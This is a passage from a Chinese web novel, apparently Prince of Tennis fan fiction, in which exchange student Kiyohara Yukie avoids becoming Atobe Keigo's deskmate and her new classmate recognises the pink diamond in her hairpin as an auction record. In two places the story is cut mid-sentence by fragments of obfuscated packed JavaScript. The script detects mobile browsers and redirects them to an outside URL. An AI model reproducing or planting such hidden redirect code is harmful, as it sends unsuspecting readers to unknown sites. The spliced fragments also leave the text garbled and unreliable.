事态变得糟糕,源于她终究没能压制住近似条件反射般,被他那只持笔伸过来的手所激起的情绪。 原本是怕彼此尴尬才想着主动找话题。 但怕什么偏来什么。 现在倒好,这下才是真尴尬了。 6. 06 迹部景吾撤回手,肘部搭上书桌边缘。那支忽然令她避之不及的钢笔,却被他服服帖帖地以两指拨动,一转一转,围着他的中指绕圈。 他似笑非笑地看着她:“说吧,这次又因为什么样的毛病,你要这样躲着我?嗯?” 清原雪绘愣怔了半晌。 她长长地深吸两口气,一刻也没来得及为自己的异样感到难堪。强装镇定,面无表情。空白的脑袋眨眼间通上电,中央CPU高速转冒烟。 大脑重夺智商阵营,下指令:死嘴,快说。 于是,她沉着冷静,一脸煞有介事地说:“迹部君,你是想拿哪一份文件吗?” “抱歉,我应该挡住你了吧?” 万幸,她的左手边是一个大文件柜。 右手边才是迹部景吾。 她的运气相当不错。这个位置安排十分得当,可以为她提供巧妙且合理的借口,把她从进退维谷的尴尬境地拯救出来。 做戏要做全套。 为了显得真像是认为自己挡着对方拿资料,她避开他深浓的目光,转身面向文件柜,作势要打开柜门。每个动作尽显乐于助人的热情。 “如果迹部君不方便的话,”她说,“正好我离得近,我可以帮你……” 指尖离金属把手仅剩几寸距离。 垂落在裙摆的另一只手,突然像被什么东西钳制住了。腕部一股强势向后的拉扯。 远离迹部景吾的脚步被那股力道牵拽,后退回撤一步,像是被人提溜着禁锢到某人的控制区。腕骨处再被扯一次,转向文件柜的脸,又被强迫转回到背面。 迹部景吾正牢牢抓住她的手腕。 确切来讲,他没有真正触碰到她的手部皮肤分毫。迹部大少爷家教良好,恪守绅士本分,不会轻易接触异性肢体。但这并不代表他找不到其他手段,将她轻而易举地控制在手中。 两指勾夹住她长袖的袖扣。 那支钢笔顶端的圆柱头,深深抵进掌心。 整个手掌最薄弱、最敏感的部位,毫无防备地被钢质硬度碾磨。掌心包裹住圆滑的弧,一硬一软,相互摩擦,那温热中的冰冷,便一直冷到血液和骨肉的最深处。 “我不要文件。” 他微抬下颌,仰视她的眼睛收敛了笑意。 “我现在什么都不想要。” 他言简意赅:“用不着你帮忙,坐下。” 清原雪绘:“……” 清原雪绘俯视着他,有些迷茫地眨一眨眼。 “哦,好……好的。” 她鬼使神差地乖乖听话坐下。 迹部景吾松开她的衣袖。 粗硬的钢笔从她掌心内抽离。 雪绘坐立不安地交握双手。思来想去,还是认为理当向他明确解释:“迹部君,刚才我真不是想针对你。” 迹部景吾淡然应声:“知道了。” 简简单单的几个字,到此为止。 他没有揪住她非刨根问底不可。她本来还准备了些其他说辞,以应对他的质询,打消他更深一层的疑虑。现在反倒派不上用场。 她诧异地问:“迹部君,你相信我吗?” 迹部景吾瞥了她一眼:“是你亲口对我说的话,我有什么好不相信的。” “……” 不知道该说什么,雪绘哑然无言。 她其实很想追问,她亲口所说的话,他就一定要相信吗?两方哪里能直接划等号。不仅是异于常理的奇怪,推导逻辑更是错误得离谱,让她严谨的做题家思维总想试图去更正。 幸亏她按捺住了。 显然,不谈逻辑只谈人情,这番反驳听起来很有抬杠和挑衅的意味,纯属敬酒不吃。明明他都愿意顺着她的台阶下,难道她还非要不识好歹,上赶着贴脸开大找不痛快? 她不是这么不会瞧眼色的死板人。 迹部景吾看起来也懒得投入多余的心思和她纠缠这个问题。最初高高举起,最终轻轻放下。 “你头上戴的玫瑰插梳,”他开口,基于前车之鉴,这次没有伸手去指,而是对她偏头示意,“我看着特别眼熟,没记错的话,应该是我年会时给你的那支?” 清原雪绘点头:“是,除了这一支,我也没有别的插梳了。” 伸手摸索了一下脑后。玫瑰花瓣是银质,通体采用拉丝工艺。玫瑰花心则由一整块粉紫宝石雕刻,切割光滑,触手微凉有棱角。 她补充道:“我觉得颜色造型和我今天的发型很适配,所以就拿出来戴了。” 迹部景吾眉梢稍挑:“怎么样,这支独一无二的插梳你还喜欢么?” “独一无二”刻意咬重音。藏不住的得意。 雪绘一寸一寸细致摸够了才放下手,坦然承认:“喜欢啊,当然喜欢了。否则今天开学这个大日子,我也不会特意挑出它来戴上。” 闪闪亮亮,晶莹通透的宝石,谁能不喜欢。 虽然她的玫瑰插梳不一定有多贵,但从古至今,作为美、地位和财产的象征,珠宝对于人的吸引力无疑是镌刻在潜意识中的,她也不免俗。 去年有段时间,她对珠宝的兴趣一度达到顶峰时,甚至还专门翻阅过各大时尚杂志,研究了各类首饰材质和做工。 金银贵气,翡翠水润,宝石璀璨,经能工巧匠塑造出巧夺天工的造型,即便无法得手,光印在大开幅海报让她隔着书页欣赏,过过眼瘾,也是令人心情舒畅的乐事。 不过稀世珍品大多为私人据有,一般不轻易示众。比如,她曾有幸受迹部夫人的邀请,观赏过迹部家一整间屋子的收藏珍品。那些又大又亮又绚丽的宝石,只能说她在家做饭敲冰糖,都不敢敲这么大一块。 迹部景吾望着她耳垂旁拂动的鬓发,思索了片刻,话锋一转,故意说: “我还以为像你这种爱摆弄电路板的女生,不会对特别秀气的物件感兴趣。” 清原雪绘:“?” 大少爷哪来的奇奇怪怪的刻板印象? “两者之间不具备一定的因果吧。况且‘电路板’和‘秀气的物件’怎么能算互斥关系呢?”她立刻修正他的错误认知,“我可是个博爱的人。只要是好看的东西,我都喜欢的。” 他顺水推舟,进一步试探:“比如?” 雪绘不疑有他,老老实实地折下手指同他细数:“比如说什么翡翠,玛瑙,珍珠,祖母绿,玉石,等等等等,但凡精致些的金银珠宝,排名不分先后我都很喜欢。” “嗯,这样,”迹部景吾若有所思地莞尔,轻描淡写道,“那你的喜好还挺广泛。” 他转过头去,不再看她,臂膀竖在桌上撑着前额。手指随意划拉桌面,左一下右一下,漫无目的地描摹着灰色的投影。 视线散落在桌上略显飘忽。乌浓的眼睫低垂,像歇落湖面的蛾翅,沾着水光轻轻颤动。 翘起的唇角倏尔上扬一秒。 很快被他自己手动拉平成直线。 雪绘觉得他眉眼间要笑不笑,欲笑还止的神情着实十分诡异。 清原雪绘:= . = 大少爷估计是搁这暗爽上了。 不知道他到底在暗爽些什么。 她回想起来,大概在她说出“喜欢”这个词汇的时候,他就已经显露出了“高兴”的苗头。 但迹部财团的年会礼物,向来由行政部负责制定方案与采购。就算她说喜欢这支玫瑰插梳,肯定了行政部办事得力,他为本家财团的实力和人文关怀感到自豪,无可厚非,却也没必要作出这种眉飞色舞的派头。 该怎么形容呢。 他今天未免有些奇形怪状。 搞不明白究竟想闹哪一出。 不过好处倒也明显,她从中终于解开了萦绕许久的谜题,即:迹部景吾不曾因年会象棋一事对她有所不满。 否则提起令自己窝火的“年会”场景,他怎么可能乐得这么起劲。 “迹部君,”心中石头落地,雪绘决定撇开其他无关痛痒的小事,问,“今天早上在礼堂的时候,就是在开学典礼之前,你是不是有几句话要对我交待?” 空茫的目光“唰”一下立刻扑向她。撑着前额的手掌下移,托起下颌。 修长的指骨自然而然挡住唇畔。 迹部景吾不经意间清了清嗓子,语气平静:“不是什么很重要的事,只是想欢迎你来冰帝交换学习而已。” 清原雪绘:“……就这样吗?” “不然呢?”迹部景吾揶揄她说,“要不要我给你办个热烈盛大的欢迎会?” 大少爷您如果不嫌麻烦,也不是不可以嗷。 雪绘暗戳戳举双手投赞成票。 反正她白吃白喝,她没意见。 “我原本以为,你有许多冰帝校内绝对不能违反的底线要给我说明呢,”她沉吟了半晌,戏言,“类似于三项纪律、五大注意、十条须知,逾矩出事概不负责?” 迹部景吾短促地轻笑一声:“搞这些条条框框干什么,我又不练兵。”挡住唇畔的手放下,朝她的肩头扬一扬下巴,“肩膀,现在还疼么?” 问题跳跃得太陡,有些没头没脑。雪绘好一会儿才反应过来他问的是什么。她低伏脖颈,谨慎按揉了几下旧伤处。痛感已不太强烈。抬手尝试活动关节,缓慢地转肩感受。 “还成吧,也不是很严重,”她满不在乎地笑着说,“凤同学多少还是收着点力的。” “好,”迹部景吾松动微蹙的眉心,“只要你没有大碍就好。” 手往校服内口袋一伸,他早有预备似地掏出一个扁平小圆盒,递给她。 “这是治疗跌打损伤的药膏。一天两次,早上一次,晚上一次。涂了药尽量少使劲,晚上睡觉侧躺,别压着患处,保证血液流通。”他一条条仔细说明,“有些封闭伤看着没大碍,但万一骨节有损又不好好养护,会落下后遗症。” 竟然是专门给她的么。 雪绘好奇地从他手中接过,慢慢旋开盒盖。 淡红色透明膏脂,油汪汪的一块,像凝结的果冻,平整铺在圆盒中。看得出是全新未拆封使用的品相。外壳用金粉描绘了精致的玫瑰花纹。 凑近一闻,没有直冲脑仁的刺激性药味。鼻腔布满甜淡清凉的花香味,像一枚鲜花饼经牙齿咀嚼后的回甘。 迹部景吾顿了一下,接口说:“药膏是凤拜托我带给你的。他说今早不小心撞到你,他感到非常抱歉。” 雪绘大度地颔首表示没关系。横竖不是多重的伤,这事她早就忘得差不多了。 办公室虚掩的门“吱呀”一声打开。 “填完了吧,清原同学?” 鞋跟踩着地板,走进来的鹰司礼子问。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057810|162928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 连自己都不明白出于何种心理,她不愿让外人看见这个金属盒。将其攥牢在掌中,倒扣着手,向前一推表格:“是的,鹰司老师,每一项我都填完了。” 鹰司礼子:“行,目前没什么别的问题了。我先把申请表收起来,这周我会找个时间亲自递交到大学部去。” 捡起那张表格,她背过身打开文件柜。 雪绘探头探脑地瞟向鹰司礼子拆文件袋的手。确认主任暂时转移了注意力,她迅速凑近迹部景吾,压低音量,小小声道: “可以的话,请麻烦代我向凤君致谢。” “当然,也要谢谢你啦,迹部君。” 她微一歪头,侧着脸依偎在臂弯里。眼底下凝结出一个浅淡的笑涡。 那双冒出手肘,与他两两相望的墨蓝色眼睛,像蚌壳张开时烘托出的珍珠,纯粹明亮,圆成莹润漂亮的形状。上面汪一层清水,下面闪动柔和烂漫的色泽。 迹部景吾专注地用目光描摹她的脸。 对面人不首先挪开视线,他的目光便始终定格在一个位置,像狙击时枪柄上的瞄准镜,枪响之前,总是恒久地对着唯一的准心。 根本不是出自本意。 完全违背个人作风。 但罩着她瞳仁的金光实在太过炽烈。 他抿了抿唇,陡然又支棱起手,张开五指,搭上鼻梁大幅盖住下半张脸。 一切表情都无法伺机泄密。 仅露出的上半张脸泰然自若,两眼空空,毫无波澜,似乎对她晕着笑的明朗面容不以为意。 绷紧的肩线却在轻微耸动。 “咳……哪里用得着这么客气。” 手心下音色沉闷,压抑着不易察觉的愉悦:“对本大爷来说,简直小事一桩。” · 离开教务处办公室,雪绘随迹部景吾去往A班的教室。弯弯拐拐绕圈,亦步亦趋跟紧。 一路上,迹部景吾都没有和她说话,视野聚焦于前方,似乎在沉思很重要的事。 他冷淡地收敛起表情时,有种不怒自威的压迫感,无端会让人觉得畏忌。 她不好打搅他,只能闭嘴在旁边充当哑巴,顺便默默记住几个路标,熟悉冰帝的校园环境。 要不说迹部景吾真是十里八乡的名人。 他所到的每一处,但凡有一个还能喘气的学生,他都会受到相当尊敬的问候。连带她也沾了些光,收到不少友善的注目礼。 不过因她这身秀知院连衣裙混迹于其他人的驼色冰帝西装中,大为迥异,新鲜感十足,好几个男生看见她时,目光停留在她身上的时间,会偷偷延迟得更长一些。 八成是嫌弃他们这么盯着她看有损冰帝形象,迹部景吾皱了皱眉,靠近她几步。 裤角摩挲着她脚踝的裙摆。 他微一偏头,从眼角斜扫过视线,居高临下地抡了他们两眼。 这个不带任何温度,冷冰冰的眼神,像酷寒中刺穿手掌的尖锐冰棱,通常会被其他学生解读为含有警告的意味。 几名男生立刻缩了缩脖子,不好意思地对她挤出歉疚的笑,提脚小跑着溜走了。 紧赶慢赶,到达A班。 转学第一步:做自我介绍。 转学生融入新班级的一套丝滑小连招,她是熟练工了,不会感到太紧张。落落大方介绍完自己,平和接受新同学们友善的掌声。 A班班导师是位和蔼的中年女士,姓早田。 在她做完自我介绍后,早田老师温柔地向她表达出集体的接纳:“欢迎清原同学交换到我们A班学习。希望大家能和清原同学好好相处,共同努力进步。” “清原同学,等一会要分发新学期的教材,你暂且先选个座位坐下吧。” 转学第二步:挑选座位。 清原雪绘:“……” 有那么一丝不好的预感在电闪雷鸣。 讲台下,交头接耳的谈话声中,黑压压坐满了一堆颜色各异的脑袋。无人的位置都摆放了文具,表示此位置已有主,哪里还有留给她的空位。 ……噢,看劈岔了,空位还是有的。 雪绘一眼抓到中央倒数几排的座位。 两个空位凸显在眼前。一个空位已经放上了一部手机。那部手机她认得,是迹部景吾经常使用的款式。 至于他旁边那个空空如也的位置嘛。 虽然早有预想,并且也已经和父亲探讨过。 但存在于脑海的担忧落地化形,亲眼所见那张可能属于她的空位,真真切切摆在迹部景吾座位旁边时,这种亲身体会的冲击力,还是远大于虚无空幻的想象。 清原雪绘神色平和地盯着那个空位。 ——平和什么平和,此乃谎言! 实际内心已经在狂风骤雨,翻云打浪,“冷静”的小船彻底沉海。她恨不得退出教室,换右脚重新踏进A班的大门,看看这一切究竟是不是她的幻觉。 眼睛一闭,一睁。 眼睛再一闭,再一挣。 视野中景象一动不动,未曾发生丝毫变化。 手机还是那款手机,桌椅还是那张桌椅。手机和桌椅哥俩好似地挨在一起。 清原雪绘:“……” ——哈哈,太好啦。 真的成迹部景吾的同桌了欸! 她没救咯。 7. 07 人一旦倔强起来,通常具有相当执拗的韧劲。 不撞南墙不认命,不盖棺材不落泪。但凡看似尚存续一线生机,也会拼尽全力在棺材板上钻眼打洞。 那张座位她还没有亲口选定。 她的腿脚也还没有和那张座位挨上边。 雪绘挣扎地觉得这件事肯定仍有余地。 真的真的真的要当迹部景吾同桌吗? 不,她不信!一定有其他办法! 她不想和迹部景吾做同桌,她一点也不想跟着他“进步”。她不愿意以后上学还要兼任着上班属性。 隔段时间偶有接触vs时时刻刻眼底下晃悠,两者给人上的强度简直一个天,一个地,完全不处于同等水平。 相较于前者,后者在说话处事、行为举止方面的谨慎程度,必须细致到毫秒级。 本来上课就已经足够消耗仙气。 为了自家老父亲还要在学校逢迎大少爷,种种多余的苦头,她是不愿意多吃一星半点。何况她有自知之明,也揽不了这个瓷器活。 “别愣在讲台上了,快找个位置坐好,”一直陪同她身边的迹部景吾低声催促,“站这么久,你的腿不觉得累么?” 雪绘一本正经回答:“迹部君,或许您很着急,但您先不要急。” 迹部景吾:“……” 雪绘言之有据说理:“早田老师不是说让我选个座位再坐下吗?我现在正在选座位。” 迹部景吾不再吭声,无言地揣兜靠边。表面似是端着一副“随你便本大爷懒得管你”的寡淡态度,无可不可地由着她去了。 向左侦察,向前侦察,向右侦察。 功夫不负有心人,柳暗花明又一村。 第三排紧挨窗台的位置,没有人,也没有文具,只氤氲着阳光淡橙的印记,是除迹部景吾座位旁外她找到的第二个空位。由于过于边缘化,一开始没能入她的眼。 真是天无绝人之路。 她指了指临窗的方向,当即请示道:“早田老师,我可以坐那里吗?” “当然可以,”早田老师准许了她的提议,“暂时先这样坐吧,如果有觉得不方便的地方可以告诉我调换。或者我不在的话,你也可以去找迹部同学协商。” 清原雪绘:“好的,谢谢早田老师!” 迹部景吾深深地睨了她一眼,不置一词。 他大阔步径直走下台,莅临自己的座位。 雪绘和他兵分两路,不大自在地捋了捋袖口,敏捷迈开小碎步,快速溜向新挑的位置。 中途不敢侧头多给他半个眼神。 走位到完全背向迹部景吾,她才不着痕迹地松一口气,庆幸在最后紧要关头,皇天不负有心人,总算凭借自己的火眼金睛,化解了这场“差点沦为少爷同桌”的大危机。 挺好,结局她很满意,你好我好大家好。 指不定人家大少爷也不想与她同桌呢。 两张桌椅拼接起来,空间相当宽敞,看样子也不会再有其他人补位。独霸一方天地,东西想怎么摆就怎么摆,想怎么跷脚蹬腿,就怎么跷脚蹬腿,多爽。 不然凭他人高马大的身量,跟她挤一处,长手长脚施展不开。其间之憋屈,估计他上课听着听着就要腾地窜出一股无名火。 雪绘大着胆子悄悄向迹部景吾处探索两眼。 他微垂下脖颈,几绺发梢在眼底坠出黯色的影子。眉目略显凌厉,消抿了表情,漠然得像一把火烧毁一切后,独留下的一捧寂冷的灰。 心绪不形于色,辨别不出是喜是怒。 手却往抽屉里一伸,从中掏出几本书,再云淡风轻码好,摆在旁边被她弃之不用的空位上。 ——看吧看吧,果真跟她想的一模一样。 大少爷独享两个座位的使用权,闲杂人等最好勿要染指。 选择正确。雪绘志得意满地收回视线,骄傲于自己揣度人心的能力大有长进,似乎更上一层楼了。 幸好她机灵,才得以避免触他这霉头。 她目前的座位处于里侧,邻近窗台下的瓷砖白墙。外侧坐一名女生,披肩长卷发,两侧鬓角点缀了几粒珍珠小花抓夹。 雪绘一朝她走近,还没来得及开口,新同桌便迫不及待地露出笑脸,十分热情主动地起身,让出过道,方便她能直接一脚跨进去。 新同桌爽朗笑道:“你好清原同学,我叫森田梨佳,很荣幸能和你成为同桌。” 她有来有往还礼:“你好森田同学,很高兴认识你,以后相处请多指教。” 新同桌继续套近乎:“清原同学是秀知院的学生吧?正好我男朋友也是秀知院的,这样算起来,我也是半个秀知院人呢。” 雪绘友善地笑了笑,不置可否。 早田老师人长得温柔,讲话亦不啰嗦,说着“下面我简单地讲两句”,就真只简单地讲两句,绝不挂羊头卖狗肉。 等到学生们回来得差不多,端端正正各就各位后,她例行提了些安全注意事项,鼓励大家新学期要好好学习,积极向上,有困难找老师找班委,便干脆利索地散会退场了。 新学期的教材尚未配送到A班。 教室里的学生三五成群聊闲天。 早田老师前脚刚踏出教室,不到一两秒,后脚几位生性外向的同学呼啦一下,全冲到雪绘座位旁,围拢她问东问西,对她——这位A班独苗苗交换生的身份颇感兴趣。 “清原同学,这次秀知院来冰帝的交换生就你一个人吗?” “清原同学,升学意向志愿大类你填的是什么呢?理学?医学?还是工学?我填的是医学,如果你也是医学的话,我们以后可以一起去上相关的选修课程!” “清原同学,但我之前路过理事长办公室,明明听说的是今年秀知院交换生会被安排到B班诶……对不起清原同学,你别误会,我没有不欢迎你的意思,就是觉得有点惊讶。” …… 旺盛的好奇心铺天盖地。 雪绘被笼罩得水泄不通。 但她从未表现出任何不耐烦,自始至终保持开放、热忱、包容的态度,问一句答一句,问什么答什么,事无巨细地回应他们。 “……应该就我一个人吧,没听说还有其他秀知院的学生交换过来。” “……很抱歉啊,我填的工学类,具体是电子信息技术。不过没关系,我们以后可以约着一起出去玩!” “……其实之前教务处的老师也告诉我说是B班,可不知道什么原因,开学前一周又突然发生了变动。看来我还是和A班的大家更有缘分,日后请各位多多指教啦!” 初到新环境,无人在意并非良好的开端。 有人对她抱有恰当的兴趣才是积极信号。 大家七言八语,环绕她多问了几嘴,弄明白了一些不痛不痒的疑惑。 和新同学拉近关系的目标达成,最初强烈的兴趣下降,同时估计也觉得老纠缠新同学不好,于是都识趣地终结话题,相继从她身边散开。 只剩同桌仍旧兴致勃勃地盯着她看。 具体而言,自她坐下开始,同桌那道如同眼馋天上砸下来的黄金一样,放射着金光逡巡在她身上的视线就不曾停歇过。 清原雪绘:O . o 森田梨佳:OvO 清原雪绘:OvO 森田梨佳:OwO 森田梨佳:盯—— 面对面,大眼瞪大眼。 清原雪绘冒出一头美女问号。 自问:需要再和新同桌额外闲聊几句,以便更好地夯实同桌情基石吗? 自答:显然,of cou ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057811|162928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' rse。 于是她左思右想,前思后想,冥思苦想,从社交储备库里翻找放之四海而皆准的话题。 “清原同学。” ——难题被提前解决。 新同桌凑近她,眼睛闪动碎光眨巴眨巴,发自肺腑地感叹:“你好漂亮啊。” 清原雪绘:OwO 清原雪绘:盯—— “谢谢你,”雪绘笑吟吟地和同桌一起开朗,“因为人以类聚,漂亮孩子的旁边必然也是漂亮孩子!” 大大方方接受夸奖,同时以一句巧妙伶俐的对白,回转着也赞美了对方。几乎不怎么费力,这都是她手拿把掐的技能。 独乐乐不如众乐乐,乐得同桌森田同学双手托住脸颊,眼眸眯成了两捧弯月形。 “清原同学,你的发型也好好看啊,”森田捻起她肩头的一绺发丝,用指腹搓搓,用手背贴贴,兴奋道,“有相关的编发视频教程吗?能不能给我发一下?” 十七八岁正是爱显摆的年纪,雪绘偏过头为她完整展示细节,谦虚低调地炫耀: “没有欸,是我妈妈早上亲手给我编的,我也觉得很好看……要不我让我妈妈有空的时候拍一个视频,到时候我发给你?” 森田睁大眼睛猛猛点头:“好呀好呀!那就麻烦清原同学和阿姨了!” 眼光向上一瞟,不出意外被雪绘发间闪亮的玫瑰插梳吸引。 她指了指雪绘的脑后:“清原同学,你的发饰也好精致,我可以看一下吗?” 清原雪绘:“没问题,随便看。” 抬手利落地拔下插梳,递给她。 距她们两人隔一行过路走道的距离。 坐在森田梨佳右后方的迹部景吾,从摊开的书本中抬起头,眼皮一掀,漫不经意地掠视正在整理头发的清原雪绘。 那支插梳他看都不看一眼。 那支插梳把玩在森田手中。 森田以掌心为托,认真端详这支插梳。花瓣通体鎏银,朵朵舒展,静静浸浴在阳光中。中央拢着的粉紫花蕊颤悠出斑斓光点。 端详一下,端详两下,端详三下。 她忽然轻轻“咦”了一声,表明一种疑惑、难以置信的意味。 “发梳这块花蕊上的粉紫钻石,我怎么看起来有点眼熟……等一下,这个……别是去年年底我去的那场珠宝专拍会上拍卖的‘伊甸园玫瑰’吧?” 冷不丁冒出的惊人之语,让雪绘小吃一惊。 还没来得及跟同桌讲,插梳只是迹部财团给她的年会礼物,根本值不了几个钱,森田已然抢先掏出手机,以迅雷不及掩耳之势解锁,点开网页,直怼到她的面前。 森田梨佳:“你看,是不是很像?” 她转着发梳又和图片比对了一会儿,笃定道:“不,不是像,就是它。” 雪绘扶稳她的手机,凑近屏幕。页面赫然展示某拍卖公司的官网界面。珠宝专题栏目,Title区域,一行黑体大字蹦进视野—— “最新冬季珠宝拍品价值排行” “NO1:伊甸园玫瑰,10.2克拉粉钻,净度内部无瑕(IF),成交价……” 官网标示的单位是美元。 为了更直观感受其贵重的价值,雪绘用当下日元兑美元的汇率算了一遍。张开十指,依次弯折。个、十、百、千、万、十万…… 天爷,十个手指头有点数不过来了。 怕不是自己数错了?再来一次。 个、十、百、千、万……数了两回,都准确无误超出十根手指的计量范围。 清原雪绘:“啊?!” 瞳孔地震,大吃一惊。 她顾不上许多,着急忙慌地解释:“这,这应该不可能吧?!这支插梳明明……明明只是我爸爸他们公司发的年会小礼物啊!” 8. 08 区区一支发饰而已,除了这颗粉紫钻石,全无任何宝石点缀。造型虽大气却也简洁,不似其他高级珠宝一样奢丽繁复。银质梳体找不到任何彰显其贵价身份的戳印。 这还不是重点。 重点是,这支发饰全然是她搭上了父亲的顺风车才能拥有的。如果抹掉“迹部财团首席技术官家属”这个身份,别说插梳,迹部财团整个年会的会场,她肯定一步都迈不进去。 说她得到的这支插梳上嵌作花蕊的粉钻,实际为某家拍卖公司去年冬季拍出的最贵珠宝,十个手指数不过来的那种。 真的,别太招笑。 硬要论起来,年会上母亲得到的那枚牡丹花胸针,银镀金嵌镶玉髓珍珠,可能都比她的插梳值钱好几倍。 所以,针对同桌惊世骇俗的结论,雪绘即刻判下三连否决断语—— “不可能,不可能,绝对不可能。” “森田同学,你会不会看错了?宝石不都长得差不多么?要不然你再仔细鉴别一下?” 森田坚持己见,理由也很充分:“不可能,我不会看错的。‘伊甸园玫瑰’我盯上好长一段时间了。拍卖之前,我甚至特意让服务于我家的专员远程视频给我展示过。” 她左手摊着手机,右手捧着插梳,两者同一水平并列,并将粉钻图片放大,使实物和图像的大小几近一致。 有条不紊地甩出两者是同一物品的证据: “你看,它们的克拉数差不多。大概都是10克拉左右。” ——是么?10克拉有么?反正她肉眼看不出来,毕竟她的眼睛不是尺,也不像学校里的富哥富姐们这么有实力,奇珍异宝她多数只能看看,经不了手,没机会掂量太多大克拉重的宝石。 “排除滤镜和光线影响。颜色的明暗度和饱和度也相差不大。” ——这一项她倒认同。打小建立的绘画基本功和色彩辨认基础,足以支撑这个观点,促使雪绘能客观理智地赞同她。虽然情感上多少有些心惊肉跳。 “而且最具实锤性质的,从这两颗宝石的切割面角度和排布来看,它们的切割工艺几乎如出一辙。你瞧,尤其外圈的棱和角,是不是极其相似?” ——啊……好像,真是这样……无论棱角切面的几何形状、倾斜程度,抑或由此折射出的光泽明暗变化、色彩深浅区域,无一处有偏差。 三项特质逐一进行比对,事实确凿,如同呈堂证供,无从反驳,每一项都像是法官锤下的法槌,每一下都冲击出一次震荡的声波。 雪绘脑瓜子开始被冲击出幻听症状。 ——简称,脑瓜子嗡嗡的。 不知道为什么,有点汗流浃背了。 己方思维停摆,暂时无法为自己人造势。但又不想举白旗,总觉得还有扳回一局的余地。她干巴巴,懵懂地哈哈哈笑三声:“森田同学,你对宝石的了解真的好广泛,好厉害啊。” “这很了不起了。” 遇事不决,先上夸夸糊弄学。 ……失策,效果似乎不如以前。 同桌并没有因夸赞而表现出任何积极情绪。 森田梨佳垮着一张脸,皱起鼻子,紧咬着下唇。非常闷闷不乐,十分愤愤不平。拳头捏紧捏了又捏,指关节掐出一道深深的印痕。 “哎,别提了,了解得再多有什么用,有、什、么、用!” 她咬牙切齿道:“最后还不是被别人拿下,我连‘伊甸园玫瑰’的边边角角都摸不到,甚至……” 可能怕自己一上头差点背过气,她缓了一口气,继续控诉。 “甚至可能再也没有机会亲身所见,我气死。啊啊啊啊啊——我瞄准这颗粉钻好长一段时间了——” “我出发前明明已经和专员沟通过,如果不是那个人,我让父亲准备的预算绝对能百分之百到手,太可恶了!” “明明前几个拍卖项影儿都没有,不知道从哪个角落钻出来的,非要轮到这颗粉钻时和我抬价,什么人啊这是!” 清原雪绘:好长的句子啊,在唱rap吗。 同桌越说越气,越想越恨,捏拳一锤砸向桌面。顾忌着是在教室,力度不大,却也不算小,局部中度震感,震得雪绘的课桌也轻颤了一下。 以硬碰硬多少会肉疼。 同桌收回手,揉了揉小拇指侧的尺骨,开始呲牙咧嘴,像蹦哒老半天就是吃不上鼠食的暴躁小仓鼠,上蹿下跳,张牙舞爪地呲哇乱叫。 雪绘托着侧脸看她,略带演绎技巧地睁圆眼睛,蹙眉“诶?”了一声,传达出一种捧场似的好奇和惊讶。 “那确实很坏很可恶了!” 她也认真地学同桌皱鼻附和:“不过和你抬价的人是谁?森田同学后来有打探过吗?” 到底哪家的公子/小姐/夫人/老爷如此有实力,出手阔绰到不管预算,不理数额,不计成本,力压全场有备而来的显贵,把一颗粉钻的价值直接抬到历史记录第一的高轿上。 合理怀疑是在洗钱。 还真想见识这位“高人”的庐山真面目。 森田扶额,凄风苦雨地喟叹一声:“不知道,完全不知道呢。” “没公开身份,那位是通过代理人进行电话竞拍的,信息被拍卖行保密,我也无从得知。” 她大喇喇地挥了挥手,伤心往事不愿多提:“唉,算了不说了,不是什么光彩的事。再说下去我今天又要调理不好了。” 吐槽发泄完毕,继续鉴宝正事。插梳重新拾起在手中。森田反复比对实物和图片,深思熟虑,眉心越拧越深,似乎心中快要敲定出一个确凿无比,一旦落地便不容动摇的结论。 同桌盯着花蕊上的粉钻,正色道:“清原同学,我可以问一下这支发饰是谁送……” “森田同学,别着急。” “你先听我给你分析。” 思维借着刚才同桌叭叭诉苦的间隙,重整旗鼓满血复活。 雪绘眼疾手快,在同桌坚定自己的判断之前,迅速出手,一把按住手机上的屏幕扣下,遮挡同桌的视野。 很明显,此时此刻,她遭遇了入学冰帝的第一个外交危机。于情于理,她都有必要避免让同桌化身纯恨战士。 新建立不到半天、尚处于岌岌可危状态的脆皮同桌情,经不得一丁点风险。 “首先,我们先不提两者外观相似,是否能作为它们就是同一物品的直接论据。我们就按常规逻辑推断。” 清原雪绘胸有成竹道:“第一,之前我提过,这支发饰只是我父亲公司举办年会时,分发给家属的年会礼物。” “就算它不是年会礼物,而是代表了激励员工的年终奖励性质,那么请问,如果你有一天继承了你家的公司,作为老板,你会为你的下属发十位数年终奖吗?” 森田梨佳的思绪被她引导着,抛开外观鉴宝这条路,竟然真就上了她的道,专注地按她指引的方向进行深度思考。数秒之后,森田斩钉截铁地摇头道: “当然不会。” “十位数还是太夸张了。又不是救过我的命,或者救过我家公司的命。” 清原雪绘满意微笑:“很好,排除你刚才所说的前提,那你觉得是什么样的老板,能给一位下属开出十位数的年终奖?” 同桌即答:“有十年脑血栓的老板。” 清原雪绘:“很好,一位有十年脑血栓的老板,他能把公司做大做强吗?” 森田梨佳:“肯定不能。” 逻辑推理到此地步,真相已然水落石出。 不必再有多余的废话。 清原雪绘笑着一拍手心:“这不就结了。” 除此之外,她还给出了“为什么她的插梳和价值第一粉钻长相一致”的原因,多角度阐述,以便更好地为她的结论可信度添砖加瓦。 “我的这颗粉钻说不定是仿品呢,”她一锤定音,“就连那些大品牌每一季度的热款首饰,比如前段时间流行的四叶草手链,市面都有不少仿款。何况是拍出天价的珍稀宝石。” “你觉得呢,森田同学?” 